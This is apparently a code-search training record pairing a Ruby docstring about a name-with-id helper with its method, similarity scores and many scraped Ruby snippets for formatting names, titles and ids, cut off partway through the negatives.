[ "def unique_format_name\n format_name + \" (#{id || \"?\"})\"\n end", "def unique_format_name\n display_name + \" (#{id || \"?\"})\"\n end", "def unique_format_name\n title + \" (#{id || \"?\"})\"\n end", "def unique_partial_format_name\n string_with_id(partial_format_name)\n end", "def format_identifier\n self.identifier.to_s\n end", "def unique_format_name\n if target\n if target.respond_to?(:unique_format_name)\n target.unique_format_name\n else\n target.format_name + \" (#{target_id || \"?\"})\"\n end\n else\n orphan_title\n end\n end", "def unique_format_name\n if target\n if target.respond_to?(:unique_format_name)\n target.unique_format_name\n else\n target.format_name + \" (#{target_id || \"?\"})\"\n end\n else\n orphan_title\n end\n end", "def fix_id(id, format, extra)\n id << \".\" + format if !format.blank?\n id << \".\" + extra if !extra.blank?\n return id\n end", "def unique_format_name\n string_with_id(name.observation_name)\n rescue StandardError\n \"\"\n end", "def format(name=nil)\n @format = name.to_s if name\n @format || DEFAULT_FORMAT\n end", "def name_for(_name, _id=nil)\n n = \"#{@object_name}[#{_name}]\"\n n += \"[#{_id}]\" if _id\n end", "def format_name\n title\n end", "def format_id\n id.delete('-')\n end", "def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end", "def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end", "def id_for(_name, _id=nil)\n n = \"#{@object_name}_#{_name}\"\n n += \"_#{_id}\" if _id\n end", "def id_format(object)\n object.id_format || object.self_link_uri\n end", "def formatted_name\n \"#{self.id} - #{self.name}\"\n #This is used to bring value on each page.\n end", "def format_identifier\n if repository.class.respond_to? :format_changeset_identifier\n repository.class.format_changeset_identifier self\n else\n identifier\n end\n end", "def id2name() end", "def id2name() end", "def format=(name)\n @format = name.to_s\n end", "def template_name_and_format(name, format, opts)\n \"#{name}.#{format}\"\n end", "def format_name\n put_together_name(:full)\n end", "def id\n name.gsub /-/, '_'\n end", "def format_identifier(identifier)\n identifier.empty? ? identifer : \"|%s|\" % identifier\n end", "def set_format(name)\n id = name.to_s.capitalize\n @formatter = Berkshelf.const_get(\"#{id}Formatter\").new\n end", "def unique_format_name\n title = all_subjects.map(&:format_name).uniq.sort.join(\" & \")\n if title.blank?\n :image.l + \" ##{id || \"?\"}\"\n else\n title + \" (#{id || \"?\"})\"\n end\n end", "def format_market_uid\n @formated_market_uid = market_uid.to_s\n if specifier.present?\n @formated_market_uid += \"^#{specifier.to_s}\" \n self.specifier_name = specifier.to_s\n end\n end", "def name\n # The name must be a string\n id.to_s\n end", "def partial_format_name\n put_together_name(:part)\n end", "def name\n id.to_s\n end", "def format(format_name)\n valid_for 'string'\n assert_string format_name\n set format: format_name\n end", "def format_name\n name.observation_name\n end", "def format_key\n formats = CustomFields::AutoNumbering.format_parts(self.format)\n\n formats.select{|f| (f =~ /(\"|#)/).nil? }.join('-')\n end", "def id_to_name\n @id_to_name ||= build_hash('id', 'name')\n end", "def make_id_to_name\n build_hash('id', 'name')\n end", "def id\n name.gsub(':', '-')\n end", "def id\n super.to_s.tr('.', '_')\n end", "def display_name\n \"#{id}\"\n end", "def format_name(name)\n name.split(' ').join('_')\n end", "def format_name(name)\n name.split(' ').join('_')\n end", "def to_param\n id.to_s << \"-\" << (name ? name.parameterize : '' )\n end", "def name_as_id\n self.name.downcase.gsub(/\\s/, '-')\n end", "def id\n \"#{kind}_#{@id}\"\n end", "def id\n \"#{kind}_#{@id}\"\n end", "def text_id\n \"#{name} (##{id})\"\n end", "def id_to_name!\n @id_to_name = make_id_to_name\n self\n end", "def generate_name\n self.name ||= header ? header.parameterize : id\n end", "def format_id(id)\n /(\\d+)/.match(id)\n end", "def to_s\n \"#{id}(#{compact_name})\"\n end", "def name\n @name ||= parse_name(id.name)\n end", "def make_id\n \"#{self.class.name.downcase}#{id}\"\n end", "def entire_name_with_id\r\n self.entire_full_name + \" (#{self.id})\"\r\n end", "def name\n self._id.to_s\n end", "def to_param\n \"#{id}-#{name.try(:parameterize)}\" if id\n end", "def unique_name(id)\n id.to_s\n end", "def id2name\n to_s\n end", "def format_name\n name ? name.observation_name : \"\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def format_id(item_id)\n self.send(\"format_#{options[:scan_mode]}_id\", item_id)\n end", "def to_plain_s\n \"#{self.class.name} #{id}\"\n end", "def to_s\n \"_:%s\" % @id.to_s\n end", "def name_format\n self.name.gsub!(/[^0-9a-z\\-_ ]/i, '_') unless self.name.nil?\n self.name.gsub!(/\\s+/, '-') unless self.name.nil?\n self.name = self.name.downcase unless self.name.nil?\n end", "def name_format\n self.name.gsub!(/[^0-9a-z\\-_ ]/i, '_') unless self.name.nil?\n self.name.gsub!(/\\s+/, '-') unless self.name.nil?\n self.name = self.name.downcase unless self.name.nil?\n end", "def default_abbreviation\n \"%03d\" % (id % 1000) if id\n end", "def name\n @name ? @name.to_s : unique_id\n end", "def id_for(field_name)\n if name = @form_args[:name]\n \"#{name}_#{field_name}\".downcase.gsub(/-/, '_')\n else\n \"form_#{field_name}\".downcase.gsub(/-/, '_')\n end\n end", "def identifier\n \"##{id} - #{area_code} #{end_year} (#{created_at.strftime(\"%m-%d %H:%M\")})\"\n end", "def build_id(disk_dev_name, nr)\n nr = deep_copy(nr)\n Builtins.sformat(\"%1:%2\", disk_dev_name, nr)\n end", "def id_for(obj)\n \"#{obj.class.name.underscore}-#{obj.id}\"\n end", "def name(id)\n @id_to_name[id]\n end", "def format_name(attribute_name)\n attribute_name.to_s\n end", "def make_name_to_id\n build_hash('name', 'id')\n end", "def to_param\n \"#{id}-#{name}\".parameterize if id.present?\n end", "def format=(_arg0); end", "def format=(_arg0); end", "def format=(_arg0); end", "def format=(_arg0); end", "def to_param\n \"#{self.id}#{'-' + self.name.parameterize if self.name.present? }\"\n end", "def full_name_with_id\n id.to_s + \": \" + first_name + \" \" + last_name\n end", "def format_name\n [@comment[:first], @comment[:last]].join(' ')\n end", "def create_format_method\n end", "def to_param\n \"#{id}-#{self.name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def name_and_id_from_options(options, type) #:nodoc:\n options[:name] = (options[:prefix] || DEFAULT_PREFIX) + (options[:discard_type] ? '' : \"[#{type}]\")\n options[:id] = options[:name].gsub(/([\\[\\(])|(\\]\\[)/, '_').gsub(/[\\]\\)]/, '').gsub(/\\./, '_').gsub(/_+/, '_')\n end", "def name_and_id_from_options(options, type) #:nodoc:\n options[:name] = (options[:prefix] || DEFAULT_PREFIX) + (options[:discard_type] ? '' : \"[#{type}]\")\n options[:id] = options[:name].gsub(/([\\[\\(])|(\\]\\[)/, '_').gsub(/[\\]\\)]/, '').gsub(/\\./, '_').gsub(/_+/, '_')\n end", "def formatted_annotation_identifier\n \"#{self.id}--group--user\"\n end", "def idify_property_name(name)\n path = replace_indexes(name).join('_')\n draft = !draft_id.nil?\n output = \"#{schema_type}#{'_draft_draft' if draft}_#{underscore_fix_for_related_urls(path)}\"\n output\n end", "def format_example(example)\n res = super(example)\n res[:id] = example.metadata[:id]\n res\n end", "def name_to_id\n @name_to_id ||= build_hash('name', 'id')\n end", "def html_id(record)\n \"#{record.class.name.underscore}_#{record[:id].to_i}\"\n end", "def identifier_for identifier\n \"#{name.gsub(/^.*::/,'').downcase}s.#{identifier}\"\n end", "def field_id(suffix = nil)\n extra = suffix ? \"_#{suffix}\" : ''\n\n %(id=\"#{id_base}#{extra}\")\n end", "def display_name\n if original_name.nil?\n id\n else\n original_name.text.nil? ? id: original_name.text\n end\n end", "def format; end", "def format; end" ]
[ "0.8623903", "0.8175796", "0.8014996", "0.78277445", "0.778792", "0.74193877", "0.74193877", "0.7338339", "0.72988826", "0.7238947", "0.72147614", "0.71021295", "0.7087537", "0.7034134", "0.703271", "0.69954866", "0.6799551", "0.678007", "0.6762309", "0.67522067", "0.67522067", "0.6746085", "0.6741949", "0.6682017", "0.6677825", "0.66237795", "0.6604315", "0.6590575", "0.6590031", "0.65850925", "0.6568037", "0.6567032", "0.6551781", "0.6544365", "0.65430737", "0.6530946", "0.650686", "0.6489393", "0.6484481", "0.6478505", "0.6455496", "0.6455496", "0.6433746", "0.64271367", "0.6410722", "0.6410722", "0.63920575", "0.63878006", "0.63778025", "0.63677514", "0.6366753", "0.6343225", "0.63352305", "0.6332061", "0.63307893", "0.6315907", "0.6294283", "0.6289237", "0.62771505", "0.6261557", "0.6226587", "0.6212523", "0.6206456", "0.6200752", "0.62007445", "0.6198421", "0.61911047", "0.6189304", "0.61758083", "0.6164496", "0.6134147", "0.6128476", "0.6115379", "0.6106711", "0.60935205", "0.6088369", "0.6088369", "0.6088369", "0.6088369", "0.6085551", "0.60832584", "0.60684186", "0.6054706", "0.6052633", "0.6050503", "0.6050503", "0.6050503", "0.6050503", "0.60228485", "0.6019205", "0.601272", "0.60052425", "0.60049146", "0.6003184", "0.60030013", "0.59911746", "0.59626544", "0.5959328", "0.59555316", "0.59555316" ]
0.8229673
1
Descriptive title without parent name, in plain text.
def partial_text_name put_together_name(:part).t.html_to_ascii end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def full_title\n t = \"\"\n if parent\n t = parent.full_title + \"/\"\n end\n return t + title\n end", "def title\n @descriptive_detail.title\n end", "def title\n return \"\" unless parent\n Array(parent.title).first.to_s\n end", "def title\n\t\tbase_title = title_extend\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{@title}\"\n\t\tend\n\tend", "def title\n base_title = \"S.Hukin ltd - Sheffield, UK. Speciality wholesale foods.\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"StkUp - Simple, Purposeful Comparisons\"\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def title\n name.capitalize.bold.sub('_', ' ')\n end", "def title\n base_title = \"H&H\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title_for_heading(parent_titles = Array.new)\n if parent_titles.length > 0\n [parent_titles, self.term_to_html(\"unittitle\")].join(\" >> \")\n else\n self.term_to_html(\"unittitle\")\n end\n end", "def title\n\t base_title = \"Most epic website of all time, also celebrating beer.\"\n\t if @title.nil?\n\t base_title\n\t else\n\t \"#{base_title} | #{@title}\"\n\t end\n end", "def title\n base_title = \"An Andy Sharkey Production\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n # strip some non-breaking space at the end\n @title ||= details.at(\"h1[itemprop='name']\").children.first.text.strip.gsub(' ', '') rescue nil\n end", "def text_name\n title.to_s.t.html_to_ascii\n end", "def title_brief\n return '' unless @marc_record && @marc_record['245']\n subfieldA = @marc_record['245']['a'] || ''\n title = subfieldA.strip\n # return the cleaned up title\n trim_punctuation(title)\n end", "def title\n return @title unless link\n\n # handle the most common cases next\n return \"#{@title}. \" unless @title.ends_with?('. ', '.')\n return \"#{@title} \" if @title.ends_with?('.')\n\n @title\n end", "def title_full\n \"#{djs} - #{@title}\"\n end", "def get_title(n)\n description = Nokogiri::HTML(@description_xpath[n].text).text\n if description.include?(\"IF YOU GO\")\n description = description.split(\"IF YOU GO\")[1]\n if description.include?(\"Where\")\n title = description.split(\"Where\")[0]\n # Title must fit on single line\n title.gsub!(\"\\n\", \" \").strip!\n title\n else\n super(n)\n end\n else\n super(n)\n end\n end", "def full_title\n \"#{namespace}:#{title}\"\n end", "def title\n base_title = \"Temple Baptist Church, White House, TN\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n if @title.nil?\n BASE_TITLE\n else\n \"#{BASE_TITLE} | #{@title}\"\n end\n end", "def title\n base_title = \"Read-O-Meter: Track your reading\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Operation Paws for Homes\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Cliqs\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Let Me Sing Now, llc\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Reseau Social ESMT\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n name.gsub(/_/, ' ')\n end", "def title\n super.first || \"\"\n end", "def title\n super.first || \"\"\n end", "def title\n base_title = \"Team DIET Tracker\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Bejben\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n t = _title.text_value.gsub(\"::\", \"\")\n t.blank? ? self.text : t\n end", "def title_plain\n Redcap::Utilities.html_to_plain_text title\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def title\n base_title = 'Statustar'\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif reader?(desc)\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def title\n Sanitize.clean(name).strip\n end", "def title\n base_title = \"Golo\"\n if@title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title_name; end", "def title\n self.summary\n end", "def display_title\n if !self.new_quote? && self.parent_quote.present?\n self.parent_quote.display_title + \" - v#{self.version_number}\"\n elsif self.new_quote? && self.title.present?\n self.title\n else\n 'No title'\n end\n end", "def name_with_title\n \"#{self.name}: #{self.title}\"\n end", "def display_title\n \"**#{title}**\"\n end", "def title\n base_title = \"Digital Library Management Tool\"\n if @title.nil?\n base_title\n else\n \"#{base_title}|#{@title}\"\n end\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif desc.is_reader?(@user) || in_admin_mode?\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def title\n @title ||= heirarchy.full_name\n end", "def title\n base_title = \"Bibliocloud\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def get_title\n base_title = get_name_or_logo\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def title\n return super if block_given?\n\n @title || if show?\n content_tag('span', presenter.heading, itemprop: \"name\")\n else\n @view_context.link_to_document @document, counter: @counter, itemprop: 'name'\n end\n end", "def title\n base_title = \"LoveALLogy\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def short_title\n title\n end", "def title_for string\n if @title\n \"#{@title} | #{string}\"\n else\n string\n end\n end", "def title_for string\n if @title\n \"#{@title} | #{string}\"\n else\n string\n end\n end", "def title\n base_title = \"Railstwitterclone\"\n if @title.nil?\n base_title\n else\n \"#{base_title} - #{@title}\"\n end\n end", "def title\n [super().presence, homepage.title].compact.join(' - ')\n end", "def display_name\n title.present? && title || _('Untitled')\n end", "def full_title\n if BoB::Application.config.show_chapter_no and not root?\n chapter_no.join('.') + '. ' + title\n else\n title\n end\n end", "def title\n base_title = t(\".base_title\", :default => \"peergroup\")\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{h(@title)}\"\n end\n end", "def title\n title_raw.downcase\n end", "def title\n @info[:Title]\n end", "def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end", "def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end", "def title\n @title ||= self.content.split(@@title_separator).first unless self.content.nil?\n end", "def title_raw\n conf['title'] || proj.title\n end", "def title\n ''\n end", "def title\n base_title = \"Syamantak Mukhopadhyay - Weblog\"\n if @title.nil?\n base_title\n else\n \"#{@title}\"\n end\n end", "def full_title subtitle\n\n\t\tbase = \"Codewatch.pl\"\n\n\t\tif not @company.nil?\n\t\t\tbase = @company.name + \" :: \" + base\n\t\tend\n\n\t\tif not @project.nil? and !@project.new_record?\n\t\t\tbase = @project.name + \" :: \" + base\n\t\tend\n\n\t\tif subtitle.blank?\n\t\t\tbase\n\t\telse\n\t\t\tsubtitle + \" :: \" + base\n\t\tend\n\tend", "def title\n\t\tbase_titre = \"Simple App du Tutoriel Ruby on Rails\"\n\t\t@title.nil? ? base_titre : \"#{base_titre} | #{@title}\"\n\tend", "def title\n @title ||= self.class.non_namespaced_classname\n end", "def to_s\n title || ''\n end", "def get_title_description()\n\t\tif !self.building_number.nil?\n\t\t\tif self.title.include? self.building_number\n\t\t\t\treturn \"Building \" + self.building_number\n\t\t\telse\n\t\t\t\treturn \"Building \" + self.building_number + \"- \" + self.title\n\t\t\tend\n\t\telse\n\t\t\treturn self.title\n\t\tend\n\tend", "def title\n @entry.at_xpath('.//cda:title').inner_text\n end", "def title\n @entry.at_xpath('.//cda:title').inner_text\n end", "def accurate_title\n nil\n end", "def title\n\t\tbase_title = \"Rubby on the rails Tutorial Sample App\"\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} |#{@title}\"\n\t\tend\n\tend", "def title\n base_title = \"Ruby on Rails Tutorial Sample App\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{h(@title)}\"\n end\n end", "def title\n [id, name].join(' ')\n end", "def display_title\n\n if (subtype &&\n subtype[0] &&\n subtype[0] == \"#{SUBTYPE_BASE_URI}/party/person\")\n # People have names\n str = nil\n\n g = name_given\n if g && ! g.empty?\n str = g[0]\n end\n\n f = name_family\n if f && ! f.empty?\n if str\n str += \" #{f[0]}\"\n else\n str = f[0]\n end\n end\n\n if str\n return str\n end\n\n else\n # All others have titles\n\n t = title\n if t\n t = title[0]\n if t\n if t && ! t.blank?\n return t\n end\n end\n end\n end\n\n return '(untitled)'\n end", "def title\n base_title = \"This app is a Toast Machine\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def full_title\n ti = title_values&.first\n st = subtitle_values&.first\n if ti && st\n # Remove the automatically-appended subtitle (in the case of search\n # results entries).\n ti = ti.delete_suffix(st).rstrip.delete_suffix(':')\n # Append the subtitle only if it doesn't appear to already be included in\n # the base title itself.\n ti = \"#{ti}: #{st}\" unless significant(ti).include?(significant(st))\n end\n ti || st || '???'\n end", "def title\n return nil\n end", "def title\n base_title = \"Soccer_League Manager\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n\t\tbase_title = \"Black Market Books\"\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{@title}\"\n\t\tend\n\tend", "def title\n @title ||= details.at(\"h1.header\").text.strip rescue nil\n end", "def title\n _title = self[\"title\"]\n _title ? _title[\"$t\"] : nil\n end", "def title title = nil\n if title\n @title = title.to_s\n else\n @title ||= name[/([^:]+)$/, 1]\n end\n end", "def full_title(page_title)\n\t\tbase_title=\"StemLoops\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title+\" | \"+page_title\n\t\tend\n\tend", "def display_name\n titre\n end", "def title\n raise NotImplementedError, 'Subclasses must implement a title method.'\n end", "def title(value)\n throw_content(:for_title, \"#{h(value)} - \")\n end", "def get_display_title(title)\n page_info_get_val(title, 'displaytitle', 'displaytitle')\n end", "def textual_title\n @record.title\n end", "def title\n if file =~ /README.md/\n result = File.basename File.dirname(file)\n else\n result = File.basename(file,'.md')\n end\n result.tr '-', ' '\n end", "def title\n base_title = \"Design Request Form\"\n if @title.nil? #Could also be spelt as @title == 0\n base_title\n else\n \"#{base_title} | #{@title}\" \n end\n end", "def title\n \"\"\n end", "def full_title(page_title = '')\n base_title = \"Colegio de Notarios\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end", "def page_title\n h Array(@title).join(\" / \") + \" | integrity\"\n end" ]
[ "0.78973037", "0.77650917", "0.7712907", "0.76960343", "0.7591017", "0.7564574", "0.75311804", "0.75311804", "0.75311804", "0.74850225", "0.74826914", "0.7481745", "0.74762374", "0.74724704", "0.7471428", "0.74663484", "0.7458037", "0.744272", "0.7441694", "0.74110985", "0.73982", "0.7397794", "0.7395369", "0.73888004", "0.73749596", "0.737172", "0.73708093", "0.73615336", "0.7347916", "0.73477846", "0.73477846", "0.7325826", "0.73213726", "0.7321229", "0.731982", "0.7315244", "0.7315244", "0.7315244", "0.73138624", "0.731064", "0.73023295", "0.7289936", "0.7289932", "0.7287355", "0.72847193", "0.7282789", "0.7277283", "0.72694784", "0.7266796", "0.7239998", "0.72394174", "0.7223055", "0.7219187", "0.7218011", "0.72164863", "0.72052664", "0.72052664", "0.7199099", "0.71919805", "0.71885765", "0.7153571", "0.7149626", "0.7145005", "0.71403855", "0.7136912", "0.7136912", "0.71200323", "0.71132153", "0.7109159", "0.71065456", "0.70929646", "0.70895594", "0.70866865", "0.70844", "0.70786065", "0.7077914", "0.7077914", "0.7074933", "0.7072755", "0.70703584", "0.70649", "0.7061732", "0.70584166", "0.7058145", "0.7054729", "0.70512545", "0.7050723", "0.70421314", "0.70408297", "0.70392644", "0.7034491", "0.7032656", "0.7027359", "0.702619", "0.7022053", "0.7021179", "0.7009147", "0.7006653", "0.6993773", "0.6990926", "0.69904786" ]
0.0
-1
Same as +partial_text_name+ but with id tacked on.
def unique_partial_text_name string_with_id(partial_text_name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def partial_text_name\n put_together_name(:part).t.html_to_ascii\n end", "def text_id\n \"#{name} (##{id})\"\n end", "def unique_text_name\n real_text_name + \" (#{id || \"?\"})\"\n end", "def unique_text_name\n text_name + \" (#{id || \"?\"})\"\n end", "def unique_text_name\n text_name + \" (#{id || \"?\"})\"\n end", "def entire_name_with_id\r\n self.entire_full_name + \" (#{self.id})\"\r\n end", "def unique_text_name\n string_with_id(name.real_search_name)\n end", "def text_name\n put_together_name(:full).t.html_to_ascii\n end", "def unique_text_name\n string_with_id(text_name)\n end", "def name\n return text_get(0, id)\n end", "def text_id\n \"#{title} (#{color})\"\n end", "def label_with_id\n text_and_id( :label )\n end", "def label_with_id\n text_and_id( :label )\n end", "def label_with_id\n text_and_id( :label )\n end", "def name\n text_get(6, @id)\n end", "def id\n name.gsub /-/, '_'\n end", "def display_name\n if original_name.nil?\n id\n else\n original_name.text.nil? ? id: original_name.text\n end\n end", "def text_name\n name ? name.real_search_name : \"\"\n end", "def text_name\n if target\n if target.respond_to?(:real_text_name)\n target.real_text_name\n else\n target.text_name\n end\n else\n orphan_title.t.html_to_ascii.sub(/ (\\d+)$/, \"\")\n end\n end", "def text_name\n if target\n if target.respond_to?(:real_text_name)\n target.real_text_name\n else\n target.text_name\n end\n else\n orphan_title.t.html_to_ascii.sub(/ (\\d+)$/, \"\")\n end\n end", "def unique_text_name\n if target\n target.unique_text_name\n else\n orphan_title.t.html_to_ascii\n end\n end", "def unique_text_name\n if target\n target.unique_text_name\n else\n orphan_title.t.html_to_ascii\n end\n end", "def unique_partial_format_name\n string_with_id(partial_format_name)\n end", "def full_name_with_id\n id.to_s + \": \" + first_name + \" \" + last_name\n end", "def display_name\n \"#{id}\"\n end", "def partial_format_name\n put_together_name(:part)\n end", "def id\n name && name.gsub(' ', '').downcase\n end", "def id2name() end", "def id2name() end", "def edit_partial \n return 'edit_' + self.class.to_s.underscore\n end", "def id\n super.to_s.tr('.', '_')\n end", "def text_name\n name.to_s\n end", "def model_html_id(base)\n name = base.to_s.strip\n unless name.end_with?(*RESERVED_SUFFIX)\n FIELD_PREFIX.find { |prefix| name.delete_prefix!(prefix) }\n end\n name = 'None' if name.blank?\n html_id(name, camelize: true)\n end", "def rcpname(id); det.link(:text, \"#{id}\"); end", "def id_for(_name, _id=nil)\n n = \"#{@object_name}_#{_name}\"\n n += \"_#{_id}\" if _id\n end", "def generate_name(id)\n return GameData::Item[id].exact_name\n end", "def partial(name)\n @logger.debug( \"#{__method__} name=#{name}\" )\n get_partial( name )\n end", "def label\n @name.to_s.empty? ? @id : @name\n end", "def name_for(_name, _id=nil)\n n = \"#{@object_name}[#{_name}]\"\n n += \"[#{_id}]\" if _id\n end", "def some_text_and_id( some_text, some_id )\n t = some_text.to_s\n i = some_id.nil? ? '' : \"[#{ some_id }]\"\n t + (( t.empty? || i.empty? ) ? '' : ' ' ) + i\n end", "def name\n @name ||= parse_name(id.name)\n end", "def put_together_name(full_or_part)\n tag = :\"description_#{full_or_part}_title_#{source_type}\"\n user_name = begin\n user.legal_name\n rescue StandardError\n \"?\"\n end\n args = {\n text: source_name,\n user: user_name\n }\n if full_or_part == :full\n args[:object] = parent.format_name\n elsif source_name.present?\n tag = :\"#{tag}_with_text\"\n end\n tag.l(args)\n end", "def create_html_id\n self.html_id = title.blank? ? \"element-unnamed\" : title.downcase.gsub!(/[^a-zA-Z0-9\\-_]+/, '-')\n end", "def document_partial_name(document)\n display_type = document[blacklight_config.show.display_type]\n\n return 'default' unless display_type \n\n Array(display_type).first.gsub(/^[^\\/]+\\/[^:]+:/,\"\").gsub(/\\./, '_').underscore\n end", "def sub_id() @tag.sub( /.*_/, '' ) end", "def sub_id() @tag.sub( /.*_/, '' ) end", "def full_name_with_id\n id.to_s + \": \" + user.first_name + \" \" + user.last_name\n end", "def append_name\n self.name = self.content\n end", "def auto_id\n fauto_id = @form.auto_id\n fauto_id ? fauto_id % @html_name : ''\n end", "def identifier_string\n title\n end", "def identifier_string\n title\n end", "def exact_name\n if (data = misc_data) && (data.ct_id || data.cs_id)\n return format(HM_TM_TEXT, name, Skill[data.skill_learn.to_i].name)\n end\n\n return name\n end", "def id\n name\n end", "def id\n name\n end", "def name_as_id\n self.name.downcase.gsub(/\\s/, '-')\n end", "def id\n name.gsub(':', '-')\n end", "def identifier_string\n name\n end", "def short_identify\n \"# #{self.id}\"\n end", "def generate_name\n self.name ||= header ? header.parameterize : id\n end", "def unique_text_name\n title = all_subjects.map(&:text_name).uniq.sort.join(\" & \")\n if title.blank?\n :image.l + \" ##{id || \"?\"}\"\n else\n title + \" (#{id || \"?\"})\"\n end\n end", "def document_partial_name(document)\n # .to_s is necessary otherwise the default return value is not always a string\n # using \"_\" as sep. to more closely follow the views file naming conventions\n # parameterize uses \"-\" as the default sep. which throws errors\n display_type = document[blacklight_config.show.display_type]\n\n return 'default' unless display_type\n\n display_type = display_type.join(\" \") if display_type.respond_to?(:join)\n\n # display_type should be only ONE record and NOT fedora model... and is in following format: MedusaPremis::xxx, where xxx is partial name\n # It should end up underscored, not camel-cased\n display_type = display_type.split(\"::\").last.underscore\n\n \"#{display_type.gsub(\"-\",\" \")}\".parameterize(\"_\").to_s\n end", "def unique_format_name\n display_name + \" (#{id || \"?\"})\"\n end", "def unique_format_name\n title + \" (#{id || \"?\"})\"\n end", "def text(*)\n super\n end", "def present_field_as_label(field)\n field.to_s.sub(/_id$/, '').split('_').map(&:capitalize).join(' ')\n end", "def name\n @name || @id.to_s.capitalize\n end", "def send(text)\n super(\"#{@name}|#{text.to_s}\")\n end", "def identifier\n name.gsub(/[^A-Za-z0-9_]/, '_')\n end", "def identifier\n name.gsub(/[^A-Za-z0-9_]/, '_')\n end", "def name\n self.text =~ /^(.*)$/\n return $1\n end", "def id\n name\n end", "def id_for(field_name)\n if name = @form_args[:name]\n \"#{name}_#{field_name}\".downcase.gsub(/-/, '_')\n else\n \"form_#{field_name}\".downcase.gsub(/-/, '_')\n end\n end", "def id_fragment\n return ActiveSupport::Inflector.demodulize(self.class.name)\n end", "def info_fname\n \"_#{name}_info.html.erb\"\n end", "def scaffold_name_with_id\n \"#{id} - #{scaffold_name}\"\n end", "def partial_name_for(block, options = {})\n if options[:namespace] && lookup_context.template_exists?(\"superb_text_constructor/blocks/#{options[:namespace]}/#{block.template}\", nil, true)\n \"superb_text_constructor/blocks/#{options[:namespace]}/#{block.template}\"\n else\n \"superb_text_constructor/blocks/#{SuperbTextConstructor.configuration.default_namespace}/#{block.template}\"\n end\n end", "def on_mustache_partial(name)\n [:dynamic, \"#{options[:partial]}(#{name.to_sym.inspect})\"]\n end", "def custom_name_help(custom_id)\n Custom.find(custom_id).custom_name\n end", "def scaffold_label(id, text)\n \"<label for='#{id}'>#{h text}</label>\"\n end", "def name\n id.to_s\n end", "def special_text\n @special_text\n end", "def personalize_heading_text(heading_text)\n if (heading_text.include? '<family-member-name-placeholder>')\n heading_text.sub! '<family-member-name-placeholder>', (@model.class.to_s == \"FinancialAssistance::Applicant\" ? @model.family_member.person.first_name : (@model.class.to_s == \"FinancialAssistance::Application\" ? @model.primary_applicant.family_member.person.first_name : @applicant.family_member.person.first_name))\n else\n heading_text\n end\n end", "def document_partial_name(doc, base_name = nil)\n view_cfg = blacklight_config_for(doc).view_config(:show)\n key = base_name && view_cfg[:\"#{base_name}_display_type_field\"].presence\n type = (key && doc[key]) || doc[view_cfg.display_type_field] || 'default'\n type_field_to_partial_name(doc, type)\n end", "def referent_identifier ref, label = nil\n safe_join [\n (label.if_present || ref.model_name.human.split.first),\n homelink(ref),\n ': '.html_safe\n 